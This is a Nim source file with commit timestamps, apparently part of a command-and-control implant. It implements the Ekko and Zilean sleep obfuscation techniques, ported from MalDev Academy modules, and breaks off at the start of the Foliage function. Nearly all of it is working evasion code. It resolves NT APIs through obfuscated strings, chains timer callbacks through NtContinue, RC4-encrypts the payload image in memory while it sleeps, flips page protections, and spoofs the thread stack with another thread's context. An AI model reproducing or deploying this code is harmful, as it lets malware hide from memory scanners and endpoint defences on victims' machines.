2025-08-27 00:27:50 +02:00
import winim / lean
2025-08-27 20:11:22 +02:00
import winim / inc / tlhelp32
2025-10-31 16:59:10 +01:00
import os , system , random , strformat
2025-10-23 17:28:07 +02:00
import .. / utils / [ cfg , io ]
2025-09-02 21:41:04 +02:00
import .. / .. / common / [ types , utils , crypto ]
2025-08-26 15:11:43 +02:00
2025-10-23 17:45:13 +02:00
#[
Different sleep obfuscation techniques , reimplemented in Nim ( Ekko , Zilean , Foliage )
The code in this file was taken from the new MalDev Academy modules and translated from C to Nim
References :
- https : / / maldevacademy . com / new / modules / 54
- https : / / maldevacademy . com / new / modules / 55
- https : / / maldevacademy . com / new / modules / 56
] #
2025-08-27 18:24:44 +02:00
2025-08-27 00:27:50 +02:00
type
USTRING * {. bycopy . } = object
Length * : DWORD
MaximumLength * : DWORD
Buffer * : PVOID
EVENT_TYPE = enum
NotificationEvent ,
SynchronizationEvent
2025-09-02 21:41:04 +02:00
WAIT_CALLBACK_ROUTINE = proc ( Parameter : PVOID , TimerOrWaitFired : BOOLEAN ) : VOID
PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE
2025-09-03 23:21:45 +02:00
PS_APC_ROUTINE = proc ( ApcArgument1 : PVOID , ApcArgument2 : PVOID , ApcArgument3 : PVOID ) : VOID
PPS_APC_ROUTINE = ptr PS_APC_ROUTINE
2025-08-27 18:24:44 +02:00
# Required APIs (definitions taken from NtDoc)
2025-09-04 12:02:50 +02:00
type
# Ekko/Zilean
RtlCreateTimerQueue = proc ( phTimerQueueHandle : PHANDLE ) : NTSTATUS {. stdcall . }
RtlDeleteTimerQueue = proc ( hQueue : HANDLE ) : NTSTATUS {. stdcall . }
NtCreateEvent = proc ( phEvent : PHANDLE , desiredAccess : ACCESS_MASK , objectAttributes : POBJECT_ATTRIBUTES , eventType : EVENT_TYPE , initialState : BOOLEAN ) : NTSTATUS {. stdcall . }
RtlCreateTimer = proc ( queue : HANDLE , hTimer : PHANDLE , function : FARPROC , context : PVOID , dueTime : ULONG , period : ULONG , flags : ULONG ) : NTSTATUS {. stdcall . }
RtlRegisterWait = proc ( hWait : PHANDLE , handle : HANDLE , function : PWAIT_CALLBACK_ROUTINE , ctx : PVOID , ms : ULONG , flags : ULONG ) : NTSTATUS {. stdcall . }
NtSignalAndWaitForSingleObject = proc ( hSignal : HANDLE , hWait : HANDLE , alertable : BOOLEAN , timeout : PLARGE_INTEGER ) : NTSTATUS {. stdcall . }
NtSetEvent = proc ( hEvent : HANDLE , previousState : PLONG ) : NTSTATUS {. stdcall . }
NtDuplicateObject = proc ( hSourceProcess : HANDLE , hSource : HANDLE , hTargetProcess : HANDLE , hTarget : PHANDLE , desiredAccess : ACCESS_MASK , attributes : ULONG , options : ULONG ) : NTSTATUS {. stdcall . }
# Foliage
NtCreateThreadEx = proc ( threadHandle : PHANDLE , desiredAccess : ACCESS_MASK , objectAttributes : POBJECT_ATTRIBUTES , processHandle : HANDLE , startRoutine : PVOID , argument : PVOID , createFlags : ULONG , zeroBits : ULONG , stackSize : ULONG , maximumStackSize : ULONG , attributeList : PVOID ) : NTSTATUS {. stdcall . }
NtGetContextThread = proc ( threadHandle : HANDLE , context : PCONTEXT ) : NTSTATUS {. stdcall . }
NtQueueApcThread = proc ( threadHandle : HANDLE , apcRoutine : PPS_APC_ROUTINE , apcArgument1 : PVOID , apcArgument2 : PVOID , apcArgument3 : PVOID ) : NTSTATUS {. stdcall . }
NtAlertResumeThread = proc ( threadHandle : HANDLE , suspendCount : PULONG ) : NTSTATUS {. stdcall . }
NtTestAlert = proc ( ) : NTSTATUS {. stdcall . }
Apis = object
RtlCreateTimerQueue : RtlCreateTimerQueue
RtlDeleteTimerQueue : RtlDeleteTimerQueue
NtCreateEvent : NtCreateEvent
RtlCreateTimer : RtlCreateTimer
RtlRegisterWait : RtlRegisterWait
NtSignalAndWaitForSingleObject : NtSignalAndWaitForSingleObject
NtSetEvent : NtSetEvent
NtDuplicateObject : NtDuplicateObject
NtCreateThreadEx : NtCreateThreadEx
NtGetContextThread : NtGetContextThread
NtQueueApcThread : NtQueueApcThread
NtAlertResumeThread : NtAlertResumeThread
NtTestAlert : NtTestAlert
NtContinue : PVOID
SystemFunction032 : PVOID
proc initApis ( ) : Apis =
let hNtdll = GetModuleHandleA ( protect ( " ntdll " ) )
result . RtlCreateTimerQueue = cast [ RtlCreateTimerQueue ] ( GetProcAddress ( hNtdll , protect ( " RtlCreateTimerQueue " ) ) )
result . RtlDeleteTimerQueue = cast [ RtlDeleteTimerQueue ] ( GetProcAddress ( hNtdll , protect ( " RtlDeleteTimerQueue " ) ) )
result . NtCreateEvent = cast [ NtCreateEvent ] ( GetProcAddress ( hNtdll , protect ( " NtCreateEvent " ) ) )
result . RtlCreateTimer = cast [ RtlCreateTimer ] ( GetProcAddress ( hNtdll , protect ( " RtlCreateTimer " ) ) )
result . RtlRegisterWait = cast [ RtlRegisterWait ] ( GetProcAddress ( hNtdll , protect ( " RtlRegisterWait " ) ) )
result . NtSignalAndWaitForSingleObject = cast [ NtSignalAndWaitForSingleObject ] ( GetProcAddress ( hNtdll , protect ( " NtSignalAndWaitForSingleObject " ) ) )
result . NtSetEvent = cast [ NtSetEvent ] ( GetProcAddress ( hNtdll , protect ( " NtSetEvent " ) ) )
result . NtDuplicateObject = cast [ NtDuplicateObject ] ( GetProcAddress ( hNtdll , protect ( " NtDuplicateObject " ) ) )
result . NtCreateThreadEx = cast [ NtCreateThreadEx ] ( GetProcAddress ( hNtdll , protect ( " NtCreateThreadEx " ) ) )
result . NtGetContextThread = cast [ NtGetContextThread ] ( GetProcAddress ( hNtdll , protect ( " NtGetContextThread " ) ) )
result . NtQueueApcThread = cast [ NtQueueApcThread ] ( GetProcAddress ( hNtdll , protect ( " NtQueueApcThread " ) ) )
result . NtAlertResumeThread = cast [ NtAlertResumeThread ] ( GetProcAddress ( hNtdll , protect ( " NtAlertResumeThread " ) ) )
result . NtTestAlert = cast [ NtTestAlert ] ( GetProcAddress ( hNtdll , protect ( " NtTestAlert " ) ) )
result . NtContinue = GetProcAddress ( hNtdll , protect ( " NtContinue " ) )
result . SystemFunction032 = GetProcAddress ( LoadLibraryA ( protect ( " Advapi32 " ) ) , protect ( " SystemFunction032 " ) )
2025-08-27 20:11:22 +02:00
# Function for retrieving a random thread's thread context for stack spoofing
2025-08-28 12:47:37 +02:00
proc GetRandomThreadCtx ( ) : CONTEXT =
2025-08-27 20:11:22 +02:00
var
ctx : CONTEXT
hSnapshot : HANDLE
thd32Entry : THREADENTRY32
hThread : HANDLE
thd32Entry . dwSize = DWORD ( sizeof ( THREADENTRY32 ) )
# Create snapshot of all available threads
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD , 0 )
if hSnapshot = = INVALID_HANDLE_VALUE :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , GetLastError ( ) . getError ( ) )
2025-08-27 20:11:22 +02:00
defer : CloseHandle ( hSnapshot )
if Thread32First ( hSnapshot , addr thd32Entry ) = = FALSE :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , GetLastError ( ) . getError ( ) )
2025-08-27 20:11:22 +02:00
while Thread32Next ( hSnapshot , addr thd32Entry ) ! = 0 :
# Check if the thread belongs to the current process but is not the current thread
if thd32Entry . th32OwnerProcessID = = GetCurrentProcessId ( ) and thd32Entry . th32ThreadID ! = GetCurrentThreadId ( ) :
# Open handle to the thread
hThread = OpenThread ( THREAD_ALL_ACCESS , FALSE , thd32Entry . th32ThreadID )
if hThread = = 0 :
continue
# Retrieve thread context
2025-08-28 12:47:37 +02:00
ctx . ContextFlags = CONTEXT_ALL # This setting is required to be able to fill the CONTEXT structure
2025-08-27 20:11:22 +02:00
if GetThreadContext ( hThread , addr ctx ) = = 0 :
continue
2025-10-20 22:08:06 +02:00
print fmt" [*] Using thread {thd32Entry.th32ThreadID} for stack spoofing. "
2025-09-03 23:21:45 +02:00
return ctx
2025-10-21 22:37:57 +02:00
print " [-] No suitable thread for stack duplication found. "
2025-09-03 23:21:45 +02:00
return ctx
2025-09-04 12:02:50 +02:00
#[
Ekko sleep obfuscation based on Timers API using RtlCreateTimer
] #
proc sleepEkko ( apis : Apis , key , img : USTRING , sleepDelay : int , spoofStack : var bool = true ) =
2025-09-03 23:21:45 +02:00
var
status : NTSTATUS = 0
2025-09-04 12:02:50 +02:00
ctx : array [ 10 , CONTEXT ]
2025-09-03 23:21:45 +02:00
ctxInit : CONTEXT
2025-09-04 12:02:50 +02:00
ctxBackup : CONTEXT
ctxSpoof : CONTEXT
hThread : HANDLE
hEventTimer : HANDLE
hEventStart : HANDLE
hEventEnd : HANDLE
queue : HANDLE
timer : HANDLE
oldProtection : DWORD = 0
delay : DWORD = 0
try :
# Create timer queue
status = apis . RtlCreateTimerQueue ( addr queue )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : discard apis . RtlDeleteTimerQueue ( queue )
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
# Create events
status = apis . NtCreateEvent ( addr hEventTimer , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventTimer )
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtCreateEvent ( addr hEventStart , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventStart )
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtCreateEvent ( addr hEventEnd , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventEnd )
# Retrieve the initial thread context
delay + = 100
status = apis . RtlCreateTimer ( queue , addr timer , RtlCaptureContext , addr ctxInit , delay , 0 , WT_EXECUTEINTIMERTHREAD )
2025-09-03 23:21:45 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay + = 100
status = apis . RtlCreateTimer ( queue , addr timer , SetEvent , cast [ PVOID ] ( hEventTimer ) , delay , 0 , WT_EXECUTEINTIMERTHREAD )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
# Wait for events to finish before continuing
status = NtWaitForSingleObject ( hEventTimer , FALSE , NULL )
2025-09-03 23:21:45 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
if spoofStack :
# Stack duplication
# Create handle to the current process
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx ( )
if ctxSpoof = = cast [ CONTEXT ] ( 0 ) :
# If no suitable thread is found for stack spoofing, continue without it
spoofStack = false
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
if spoofStack :
status = apis . NtDuplicateObject ( GetCurrentProcess ( ) , GetCurrentThread ( ) , GetCurrentProcess ( ) , addr hThread , THREAD_ALL_ACCESS , 0 , 0 )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hThread )
# Preparing the ROP chain
# Initially, each element in this array will have the same context as the timer's thread context
2025-09-03 23:21:45 +02:00
for i in 0 .. < ctx . len ( ) :
copyMem ( addr ctx [ i ] , addr ctxInit , sizeof ( CONTEXT ) )
2025-09-04 12:02:50 +02:00
dec ( ctx [ i ] . Rsp , sizeof ( PVOID ) ) # Stack alignment, due to the RSP register being incremented by the size of a pointer
2025-09-03 23:21:45 +02:00
var gadget = 0
2025-09-04 12:02:50 +02:00
# ROP Chain
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( NtWaitForSingleObject )
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hEventStart )
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( FALSE )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( NULL )
inc gadget
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( VirtualProtect )
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( img . Buffer )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( img . Length )
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( PAGE_READWRITE )
ctx [ gadget ] . R9 = cast [ DWORD64 ] ( addr oldProtection )
inc gadget
2025-08-27 00:27:50 +02:00
2025-09-03 23:21:45 +02:00
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . SystemFunction032 )
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( addr img )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr key )
inc gadget
2025-09-04 12:02:50 +02:00
if spoofStack :
# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
ctxBackup . ContextFlags = CONTEXT_ALL
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( GetThreadContext )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hThread )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr ctxBackup )
inc gadget
# ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( SetThreadContext )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hThread )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr ctxSpoof )
inc gadget
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( WaitForSingleObjectEx )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( GetCurrentProcess ( ) )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( cast [ DWORD ] ( sleepDelay ) )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( FALSE )
inc gadget
2025-09-04 12:02:50 +02:00
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . SystemFunction032 )
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( addr img )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr key )
inc gadget
2025-09-04 12:02:50 +02:00
if spoofStack :
# ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( SetThreadContext )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hThread )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr ctxBackup )
inc gadget
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( VirtualProtect )
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( img . Buffer )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( img . Length )
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( PAGE_EXECUTE_READWRITE )
ctx [ gadget ] . R9 = cast [ DWORD64 ] ( addr oldProtection )
inc gadget
2025-09-04 12:02:50 +02:00
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . NtSetEvent )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hEventEnd )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( NULL )
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
# Executing timers
2025-09-03 23:21:45 +02:00
for i in 0 .. gadget :
2025-09-04 12:02:50 +02:00
delay + = 100
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
status = apis . RtlCreateTimer ( queue , addr timer , apis . NtContinue , addr ctx [ i ] , delay , 0 , WT_EXECUTEINTIMERTHREAD )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
2025-10-21 22:37:57 +02:00
print " [*] Sleep obfuscation start. "
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtSignalAndWaitForSingleObject ( hEventStart , hEventEnd , FALSE , NULL )
2025-09-03 23:21:45 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
2025-10-21 22:37:57 +02:00
print " [*] Sleep obfuscation end. "
2025-09-03 23:21:45 +02:00
except CatchableError as err :
sleep ( sleepDelay )
2025-10-21 22:37:57 +02:00
print " [-] " , err . msg
2025-09-02 21:41:04 +02:00
2025-09-03 23:21:45 +02:00
2025-09-04 12:02:50 +02:00
#[
Zilean sleep obfuscation based on Timers API using RtlRegisterWait
] #
proc sleepZilean ( apis : Apis , key , img : USTRING , sleepDelay : int , spoofStack : var bool = true ) =
2025-08-27 00:27:50 +02:00
var
status : NTSTATUS = 0
2025-08-27 20:11:22 +02:00
ctx : array [ 10 , CONTEXT ]
2025-08-27 00:27:50 +02:00
ctxInit : CONTEXT
2025-08-27 20:11:22 +02:00
ctxBackup : CONTEXT
ctxSpoof : CONTEXT
hThread : HANDLE
2025-09-02 21:41:04 +02:00
hEventTimer : HANDLE
hEventWait : HANDLE
2025-08-27 11:37:07 +02:00
hEventStart : HANDLE
hEventEnd : HANDLE
2025-08-27 00:27:50 +02:00
timer : HANDLE
2025-09-02 21:41:04 +02:00
oldProtection : DWORD = 0
2025-08-27 00:27:50 +02:00
delay : DWORD = 0
2025-08-27 18:24:44 +02:00
2025-09-04 12:02:50 +02:00
try :
2025-08-27 18:24:44 +02:00
# Create events
2025-09-04 12:02:50 +02:00
status = apis . NtCreateEvent ( addr hEventTimer , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
2025-08-27 18:24:44 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventTimer )
2025-09-02 21:41:04 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtCreateEvent ( addr hEventWait , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
2025-08-27 18:24:44 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventWait )
2025-08-27 18:24:44 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtCreateEvent ( addr hEventStart , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
2025-08-27 18:24:44 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventStart )
2025-08-27 20:11:22 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtCreateEvent ( addr hEventEnd , EVENT_ALL_ACCESS , NULL , NotificationEvent , FALSE )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventEnd )
2025-08-27 18:24:44 +02:00
2025-09-04 12:02:50 +02:00
delay + = 100
status = apis . RtlRegisterWait ( addr timer , hEventWait , cast [ PWAIT_CALLBACK_ROUTINE ] ( RtlCaptureContext ) , addr ctxInit , delay , WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-08-27 11:37:07 +02:00
2025-09-04 12:02:50 +02:00
delay + = 100
status = apis . RtlRegisterWait ( addr timer , hEventWait , cast [ PWAIT_CALLBACK_ROUTINE ] ( SetEvent ) , cast [ PVOID ] ( hEventTimer ) , delay , WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-08-27 11:37:07 +02:00
2025-09-02 21:41:04 +02:00
# Wait for events to finish before continuing
status = NtWaitForSingleObject ( hEventTimer , FALSE , NULL )
2025-08-27 20:11:22 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-02 21:41:04 +02:00
if spoofStack :
# Stack duplication
# Create handle to the current process
# Retrieve a random thread context from the current process
ctxSpoof = GetRandomThreadCtx ( )
2025-09-03 23:21:45 +02:00
if ctxSpoof = = cast [ CONTEXT ] ( 0 ) :
# If no suitable thread is found for stack spoofing, continue without it
spoofStack = false
if spoofStack :
2025-09-04 12:02:50 +02:00
status = apis . NtDuplicateObject ( GetCurrentProcess ( ) , GetCurrentThread ( ) , GetCurrentProcess ( ) , addr hThread , THREAD_ALL_ACCESS , 0 , 0 )
2025-09-02 21:41:04 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hThread )
2025-08-27 20:11:22 +02:00
2025-08-27 18:24:44 +02:00
# Preparing the ROP chain
# Initially, each element in this array will have the same context as the timer's thread context
for i in 0 .. < ctx . len ( ) :
copyMem ( addr ctx [ i ] , addr ctxInit , sizeof ( CONTEXT ) )
2025-09-02 21:41:04 +02:00
dec ( ctx [ i ] . Rsp , sizeof ( PVOID ) ) # Stack alignment, due to the RSP register being incremented by the size of a pointer
2025-08-27 00:27:50 +02:00
2025-09-02 21:41:04 +02:00
var gadget = 0
2025-08-27 18:24:44 +02:00
# ROP Chain
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
2025-09-03 08:46:38 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( NtWaitForSingleObject )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hEventStart )
2025-09-03 08:46:38 +02:00
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( FALSE )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( NULL )
2025-09-02 21:41:04 +02:00
inc gadget
2025-08-27 18:24:44 +02:00
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( VirtualProtect )
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( img . Buffer )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( img . Length )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( PAGE_READWRITE )
ctx [ gadget ] . R9 = cast [ DWORD64 ] ( addr oldProtection )
inc gadget
2025-08-27 18:24:44 +02:00
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . SystemFunction032 )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( addr img )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr key )
inc gadget
if spoofStack :
# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
ctxBackup . ContextFlags = CONTEXT_ALL
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( GetThreadContext )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hThread )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr ctxBackup )
inc gadget
# ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( SetThreadContext )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hThread )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr ctxSpoof )
inc gadget
2025-08-27 20:11:22 +02:00
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( WaitForSingleObjectEx )
2025-09-03 23:21:45 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( GetCurrentProcess ( ) )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( cast [ DWORD ] ( sleepDelay ) )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( FALSE )
inc gadget
2025-08-27 20:11:22 +02:00
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . SystemFunction032 )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( addr img )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr key )
inc gadget
if spoofStack :
# ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( SetThreadContext )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hThread )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr ctxBackup )
inc gadget
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( VirtualProtect )
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( img . Buffer )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( img . Length )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( PAGE_EXECUTE_READWRITE )
ctx [ gadget ] . R9 = cast [ DWORD64 ] ( addr oldProtection )
inc gadget
2025-08-27 00:27:50 +02:00
2025-09-02 21:41:04 +02:00
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . NtSetEvent )
2025-09-02 21:41:04 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hEventEnd )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( NULL )
2025-08-27 18:24:44 +02:00
# Executing timers
2025-09-02 21:41:04 +02:00
for i in 0 .. gadget :
2025-08-27 18:24:44 +02:00
delay + = 100
2025-09-04 12:02:50 +02:00
status = apis . RtlRegisterWait ( addr timer , hEventWait , cast [ PWAIT_CALLBACK_ROUTINE ] ( apis . NtContinue ) , addr ctx [ i ] , delay , WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-02 21:41:04 +02:00
2025-10-21 22:37:57 +02:00
print " [*] Sleep obfuscation start. "
2025-08-27 11:37:07 +02:00
2025-09-04 12:02:50 +02:00
status = apis . NtSignalAndWaitForSingleObject ( hEventStart , hEventEnd , FALSE , NULL )
2025-08-27 18:24:44 +02:00
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-02 21:41:04 +02:00
2025-10-21 22:37:57 +02:00
print " [*] Sleep obfuscation end. "
2025-08-27 11:37:07 +02:00
2025-08-27 18:24:44 +02:00
except CatchableError as err :
2025-08-27 20:11:22 +02:00
sleep ( sleepDelay )
2025-10-21 22:37:57 +02:00
print " [-] " , err . msg
2025-09-02 21:41:04 +02:00
2025-09-04 12:02:50 +02:00
#[
Foliage sleep obfuscation based on Asynchronous Procedure Calls
] #
2025-09-04 13:44:50 +02:00
proc sleepFoliage ( apis : Apis , key , img : USTRING , sleepDelay : int ) =
2025-09-04 12:02:50 +02:00
var
status : NTSTATUS = 0
ctx : array [ 7 , CONTEXT ]
ctxInit : CONTEXT
hEventSync : HANDLE
oldProtection : ULONG
hThread : HANDLE
try :
